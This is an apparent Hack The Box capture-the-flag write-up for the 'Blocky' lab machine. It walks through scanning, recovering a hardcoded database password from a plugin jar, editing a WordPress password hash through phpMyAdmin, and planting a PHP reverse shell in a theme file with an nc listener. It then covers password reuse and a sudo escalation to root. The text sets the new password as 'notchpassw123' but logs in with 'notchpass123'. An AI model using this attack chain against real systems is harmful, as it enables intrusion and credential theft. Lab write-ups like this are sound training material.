Beating Blocky - HacktheBox 'Blocky' writeup
Beating Blocky - HacktheBox ‘Blocky’ writeup
Host Information
Hostname | IP Address | Operating System | Difficulty Level |
Blocky | 10.10.10.37 | Linux | Easy |
Initial Recon
nmap information
We start with initial recon of the target host, running an initial full TCP nmap scan of the host was run with the following command:
sudo nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /0ps/HTB/blocky/scans/_full_tcp_nmap.txt -oX /0ps/HTB/blocky/scans/xml/_full_tcp_nmap.xml 10.10.10.37
The following ports were revealed open on the target, followed by the full nmap script output below:
10.10.10.37
Port | State | Service | Version |
---|---|---|---|
21/tcp | open | ftp | ProFTPD 1.3.5a |
22/tcp | open | ssh | OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 |
80/tcp | closed | http | |
8192/tcp | closed | sophos | |
25565/tcp | open | minecraft | Minecraft 1.11.2 |
# Nmap 7.80 scan initiated Mon Sep 21 09:48:42 2020 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /0ps/HTB/blocky/scans/_full_tcp_nmap.txt -oX /0ps/HTB/blocky/scans/xml/_full_tcp_nmap.xml 10.10.10.37
Nmap scan report for 10.10.10.37
Host is up, received user-set (0.040s latency).
Scanned at 2020-09-21 09:48:42 CDT for 154s
Not shown: 65530 filtered ports
Reason: 65530 no-responses
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 63 ProFTPD 1.3.5a
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d6:2b:99:b4:d5:e7:53:ce:2b:fc:b5:d7:9d:79:fb:a2 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXqVh031OUgTdcXsDwffHKL6T9f1GfJ1/x/b/dywX42sDZ5m1Hz46bKmbnWa0YD3LSRkStJDtyNXptzmEp31Fs2DUndVKui3LCcyKXY6FSVWp9ZDBzlW3aY8qa+y339OS3gp3aq277zYDnnA62U7rIltYp91u5VPBKi3DITVaSgzA8mcpHRr30e3cEGaLCxty58U2/lyCnx3I0Lh5rEbipQ1G7Cr6NMgmGtW6LrlJRQiWA1OK2/tDZbLhwtkjB82pjI/0T2gpA/vlZJH0elbMXW40Et6bOs2oK/V2bVozpoRyoQuts8zcRmCViVs8B3p7T1Qh/Z+7Ki91vgicfy4fl
| 256 5d:7f:38:95:70:c9:be:ac:67:a0:1e:86:e7:97:84:03 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNgEpgEZGGbtm5suOAio9ut2hOQYLN39Uhni8i4E/Wdir1gHxDCLMoNPQXDOnEUO1QQVbioUUMgFRAXYLhilNF8=
| 256 09:d5:c2:04:95:1a:90:ef:87:56:25:97:df:83:70:67 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILqVrP5vDD4MdQ2v3ozqDPxG1XXZOp5VPpVsFUROL6Vj
80/tcp closed http reset ttl 63
8192/tcp closed sophos reset ttl 63
25565/tcp open minecraft syn-ack ttl 63 Minecraft 1.11.2 (Protocol: 127, Message: A Minecraft Server, Users: 0/20)
Device type: general purpose|storage-misc
Running (JUST GUESSING): Linux 3.X|4.X (91%), HP embedded (85%)
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/h:hp:p2000_g3
OS fingerprint not ideal because: Didn't receive UDP response. Please try again with -sSU
Aggressive OS guesses: Linux 3.10 - 4.11 (91%), Linux 3.13 (88%), Linux 3.13 or 4.2 (88%), Linux 3.16 - 4.6 (88%), Linux 4.2 (88%), Linux 4.4 (88%), Linux 3.16 (87%), Linux 3.2 - 4.9 (87%), Linux 3.18 (85%), Linux 3.12 (85%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.80%E=4%D=9/21%OT=21%CT=80%CU=%PV=Y%DS=2%DC=T%G=N%TM=5F68BDE4%P=x86_64-pc-linux-gnu)
SEQ(SP=102%GCD=1%ISR=107%TI=Z%CI=RI%II=I%TS=8)
OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%O6=M54DST11)
WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)
ECN(R=Y%DF=Y%TG=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)
T1(R=Y%DF=Y%TG=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=Y%DF=Y%TG=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T5(R=Y%DF=Y%TG=40%W=7120%S=O%A=S+%F=AS%O=M54DST11NW7%RD=0%Q=)
T6(R=Y%DF=Y%TG=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T7(R=N)
U1(R=N)
IE(R=Y%DFI=N%TG=40%CD=S)
Uptime guess: 198.047 days (since Sat Mar 7 07:43:07 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 41.31 ms 10.10.14.1
2 41.39 ms 10.10.10.37
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Sep 21 09:51:16 2020 -- 1 IP address (1 host up) scanned in 155.15 seconds
nmap scan observations
We can tell the target is Linux, likely a variant of Ubuntu, based on both nmap’s OS scan, as well as the service banner grab of the SSH service. 5 services and ports are shown externally visible - ProFTPD 1.3.5a open on the FTP standard TCP port 21, SSH running OpenSSH 7.2p2 running on the standard TCP port 22, and HTTP (showing as closed) running on standard TCP port 80. Finally, two other less common services are shown - Sophos, which also shows as closed running on TCP port 8192, and Minecraft 1.11.2, running on TCP port 25565.
FTP enumeration
We can quickly verify FTP does not allow anonymous login, as shown below.
initinfosec@kali:/0ps/HTB/blocky/scans$ ftp 10.10.10.37
Connected to 10.10.10.37.
220 ProFTPD 1.3.5a Server (Debian) [::ffff:10.10.10.37]
Name (10.10.10.37:initinfosec): anonymous
331 Password required for anonymous
Password:
530 Login incorrect.
Login failed.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> bye
221 Goodbye.
Searching for vulnerabilities related to the FTP service on the target, we note few RCEs or unauthenticated file copy vulnerabilities for ProFTPD, but none that match the exact version installed on the target.
HTTP enumeration
A second scan of the HTTP service shows the port is open, running Apache 2.4.18 (Ubuntu), indicating that Sophos or another service may be providing some kind of rate limiting or DoS protection, though at this point it’s just conjecture and unconfirmed.
initinfosec@kali:/0ps/HTB/blocky/scans$ nmap -sC -sV -p 80 10.10.10.37
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-21 10:46 CDT
Nmap scan report for 10.10.10.37
Host is up (0.040s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: WordPress 4.8
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: BlockyCraft – Under Construction!
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.83 seconds
Viewing the web page, we see the following main page:
Clicking the ‘Login’ link on the right brings us to a wordpress login page at http://10.10.10.37/wp-login.php
Additionally, running a nikto scan against the target shows the following:
initinfosec@kali:/0ps/HTB/blocky/scans$ nikto -ask=no -h http://10.10.10.37/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.37
+ Target Hostname: 10.10.10.37
+ Target Port: 80
+ Start Time: 2020-09-21 10:53:49 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'link' found, with contents: <http://10.10.10.37/index.php/wp-json/>; rel="https://api.w.org/"
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx for details.
+ Uncommon header 'x-ob_mode' found, with contents: 1
+ OSVDB-3233: /icons/README: Apache default file found.
+ /wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /: A Wordpress installation was found.
+ /phpmyadmin/: phpMyAdmin directory found
+ Cookie wordpress_test_cookie created without the httponly flag
+ OSVDB-3268: /wp-content/uploads/: Directory indexing found.
+ /wp-content/uploads/: Wordpress uploads directory is browsable. This may reveal sensitive information
+ /wp-login.php: Wordpress login found
+ 8016 requests: 0 error(s) and 18 item(s) reported on remote host
+ End Time: 2020-09-21 11:00:30 (GMT-5) (401 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Per the nikto scan, the Akismet plugin readme was found at http://10.10.10.37/wp-content/plugins/akismet/readme.txt The following was found in the readme header, with the ‘tested up to’ heading indicating the potential wordpress version of 4.7.4.
Requires at least: 3.7
Tested up to: 4.7.4
Stable tag: 3.3.2
Additionally the Akismet plugin version is likely 3.3.2, as shown below:
== Changelog ==
= 3.3.2 =
*Release Date - 10 May 2017*
* Fixed a bug causing JavaScript errors in some browsers.
We can then run the tool wpscan with wpscan --url http://10.10.10.37 -e
to enumerate users and plugins, and the following users were found:
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <==========================================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] notch
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://10.10.10.37/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] Notch
| Found By: Rss Generator (Passive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
We then run a gobuster enumeration script to crawl the web server for content, which yielded the following:
initinfosec@kali:/0ps/HTB/blocky/scans$ gobuster dir -u http://10.10.10.37:80/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -
z -k -l -x "txt,html,php,asp,aspx,jsp"
/index.php (Status: 301) [Size: 0]
/index.php (Status: 301) [Size: 0]
/javascript (Status: 301) [Size: 315]
/license.txt (Status: 200) [Size: 19935]
/phpmyadmin (Status: 301) [Size: 315]
/plugins (Status: 301) [Size: 312]
/readme.html (Status: 200) [Size: 7413]
/server-status (Status: 403) [Size: 299]
/wiki (Status: 301) [Size: 309]
/wp-admin (Status: 301) [Size: 313]
/wp-blog-header.php (Status: 200) [Size: 0]
/wp-config.php (Status: 200) [Size: 0]
/wp-content (Status: 301) [Size: 315]
/wp-cron.php (Status: 200) [Size: 0]
/wp-links-opml.php (Status: 200) [Size: 219]
/wp-includes (Status: 301) [Size: 316]
/wp-load.php (Status: 200) [Size: 0]
/wp-login.php (Status: 200) [Size: 2402]
/wp-mail.php (Status: 403) [Size: 3444]
/wp-signup.php (Status: 302) [Size: 0]
/wp-trackback.php (Status: 200) [Size: 135]
Going to the wiki page at http://10.10.10.37/wiki/ shows a flat page with the following information:
Under Construction
Please check back later! We will start publishing wiki articles after we have finished the main server plugin!
The new core plugin will store your playtime and other information in our database, so you can see your own stats!
We can view the wordpress plugins directory at http://10.10.10.37/plugins/, noting two publicly accessible files, BlockyCore.jar and griefprevention-1.11.2-3.1.1.298.jar
Let’s save the jar files locally to our assessing system, and extract them with the jar xvf \<jar file\>
command, like shown below:
initinfosec@kali:/0ps/HTB/blocky/loot$ jar xvf BlockyCore.jar
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
inflated: META-INF/MANIFEST.MF
inflated: com/myfirstplugin/BlockyCore.class
Viewing the BlockyCore.class file within the BlockyCore jar file shows the following:
initinfosec@kali:/0ps/HTB/blocky/loot/com/myfirstplugin$ cat BlockyCore.class
4-com/myfirstplugin/BlockyCorejava/lang/ObjectsqlHostLjava/lang/String;sqlUsersqlPass<init>()VCode
localhost
root
8YsqfCTnvxAUeduzjNSXe22
onServerStart LineNumberTableLocalVariableTablethisLcom/myfirstplugin/BlockyCore;
onServerStop
onPlayerJoi"TODO get usernam$!Welcome to the BlockyCraft!!!!!!!
&
'(
sendMessage'(Ljava/lang/String;Ljava/lang/String;)usernamemessage
SourceFileBlockyCore.java!
Q*
***
Checking the PHPMyAdmin (PMA) page found in gobuster, we can confirm the PMA application is on the target webserver, found at http://10.10.10.37/phpmyadmin/
Trying the credentials “root/8YsqfCTnvxAUeduzjNSXe22” on the PMA login page allows for a successful login, as shown below.
Once logged in, we can see the PHPMyAdmin version is 4.5.4. Additionally, we can browse the database tables via PHPMyAdmin, finding a wordpress table in the database. Viewing the WP-Users table shows the credentials for the wordpress user ‘notch’ found earlier in the wpscan results, shown below.
From here we find the following wordpress user information:
username: notch
user email: notch@blockcraftfake.com
user_pass: $P$BiVoTj899ItS1EZnMhqeqVbrZI4Oq0/
The password field for the notch user is a PHPass hash, which we can add into a file called notch.pass, and attempt to crack the hash using john, with the following syntax:
john notch.pass --wordlist:/usr/share/wordlists/rockyou.txt
However, we can also directly edit the password, since we have access to the database within PHPMyAdmin. Keep in mind that this would be noisy in real-life and you would not want to perform this in a real engagement, but for practise purposes, let’s proceed. We can use this site to generate a PHPass hash. We’ll start with the cleartext “notchpassw123” which translates to “$P$BO5ZJXfewrETZDOtcevC9h9jzMr3hD0”
Selecting the “edit” button on the wp_users table in PMA, we can replace the user_pass field, finding it is successfully updated once we hit “Go” as evidenced below.
Trying the wp-login.php page again with the credentials “notch / notchpass123” now allows for successful login, as evidenced by the screenshot below.
gaining an initial foothold
From here we can edit the PHP theme under Appearance settings to include a PHP reverse shell, so that when we refresh that page, we can have the webserver execute our malicious code giving us a reverse shell locally. To set this up, let’s start by copying a local webshell to our current working directory, and changing the IP and port to the appropriate values for our own system.
initinfosec@kali:/0ps/HTB/blocky/exploit$ cp /usr/share/webshells/php/php-reverse-shell.php rev.php
initinfosec@kali:/0ps/HTB/blocky/exploit$ vim rev.php
initinfosec@kali:/0ps/HTB/blocky/exploit$ grep -i change rev.php
$ip = '10.10.14.17'; // CHANGE THIS
$port = 1234; // CHANGE THIS
Now we can edit the theme by going to Appearance > Editor, and select a php theme element we know that will appear on any page in the wordpress site. For me, I’ll select footer.php. From here we can edit the theme, copying the contents of rev.php and pasting it within the theme, as shown below.
Once pasted, we’ll start a listener with nc -lvnp 1234
, and then select “Update File” to commit the changes to the wordpress theme. Once saved, we’ll hit the home icon for the blockycraft worpdress main page. As soon as the HTTP request is sent, we find we’ve received a shell locally from the target, as shown below.
Lateral Movement
Enumeration
Viewing the home directory for ‘notch’ it appears we do not have access to the user.txt file, thus we need to laterally move to this user.
We find an interesting directory ‘minecraft’ in notch’s home directory. Browsing a bit through this directory as most of the files can be read by other users yields an interesting file, config.yml, with the contents shown below:
www-data@Blocky:/home/notch/minecraft/config/nuvotifier$ cat config.yml
cat config.yml
# The IP to listen to. Use 0.0.0.0 if you wish to listen to all interfaces on your server. (All IP addresses)
# This defaults to the IP you have configured your server to listen on, or 0.0.0.0 if you have not configured this.
host: 127.0.0.1
# Port to listen for new votes on
port: 8192
# Whether or not to print debug messages. In a production system, this should be set to false.
# This is useful when initially setting up NuVotifier to ensure votes are being delivered.
debug: false
# Setting this value to false will turn off the votifier port listening for external votes. This is beneficial if the server
# is only listening for votes coming from NuVotifier running on your BungeeCord.
enableExternal: true
# Setting this option to true will disable handling of Protocol v1 packets. While the old protocol is not secure, this
# option is currently not recommended as most voting sites only support the old protocol at present. However, if you are
# using NuVotifier's proxy forwarding mechanism, enabling this option will increase your server's security.
disable-v1-protocol: false
# All tokens, labeled by the serviceName of each server list.
tokens:
# Default token for all server lists, if another isn't supplied.
default: atksa8vubshu31vktargk27c6v
# Configuration section for all vote forwarding to NuVotifier
forwarding:
# Sets whether to set up a remote method for fowarding. Supported methods:
# - none - Does not set up a forwarding method.
# - pluginMessaging - Sets up plugin messaging
method: none
pluginMessaging:
channel: NuVotifier
Additionally in the same nuvotifier directory there is a sub-directory called rsa, which we see contains a keypair belonging to the notch user, as demonstrated in the next screenshot.
Let’s copy the contents of the private key on the local system, and chmod 600 the file. However, trying the rsa keys with SSH, we see it does not allow us access to blocky, as shown with the command below:
initinfosec@kali:/0ps/HTB/blocky/loot$ ssh notch@10.10.10.37 -i private.key
load pubkey "private.key": invalid format
Load key "private.key": invalid format
notch@10.10.10.37's password:
Looking further, we see two processes running as notch on the server, shown below using the ps command:
www-data@Blocky:/home/notch/minecraft/config/nuvotifier/rsa$ ps -ef | grep notch
notch 1217 1 0 09:51 ? 00:00:00 SCREEN -dmS blockycraft java -Xms500M -Xmx500M -jar ./sponge.jar nogui
notch 1222 1217 1 09:51 pts/0 00:03:47 java -Xms500M -Xmx500M -jar ./sponge.jar nogui
www-data 2355 2211 0 14:14 pts/1 00:00:00 grep notch
So it seems clear that minecraft related proccesses are runnig as the user notch, which is good to note, but may not necessarily be the vector to lateral movement.
Gaining User Access
However, taking a step back, we find trying something simpler works to gain an initial foothold. Using the password found for the MySQL root user/PMA login worked for the notch user, as evidenced below.
Privilege Escalation
PrivEsc Enumeration
From earlier, we noticed a file within notch’s home directory .sudo_as_admin_successful, indicating the user notch may hae sudo privileges. Running a sudo -l
confirms this, with the results of the command shown below:
notch@Blocky:~$ sudo -l
[sudo] password for notch:
Matching Defaults entries for notch on Blocky:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User notch may run the following commands on Blocky:
(ALL : ALL) ALL
Using the sudo privileges, we can trivially gain a root shell, running sudo su -
, as shown below.
Conclusion
Recommended Remediations
-
Avoid having credentials in cleartext within configuration and program files, if possible, such as in the block.jar file where credentials were noted during the course of the assessment.
-
Additionally, try to avoid credential re-use, either using the same password for different users, or even the same user with different services.
-
Consider moving the two plugin files found on the webserver away from a publiclly accessible location, if they are not needed there. If they are, either removing credentials from the file, or securing then in a sufficient manner (such as a strong salted hash) should help reduce some risk.
-
As always, perform regular audits of user accounts and permissions; for example, audit regularly whether users, such as notch need full sudo permissions. It is best to give users and accounts the least amount of permissions needed to perform tasks on the system and their jobs, so as to reduce risk surface area.
All for now; until next time.
~@initinfosec
Let me know what you think of this article on twitter @initinfosec or leave a comment below!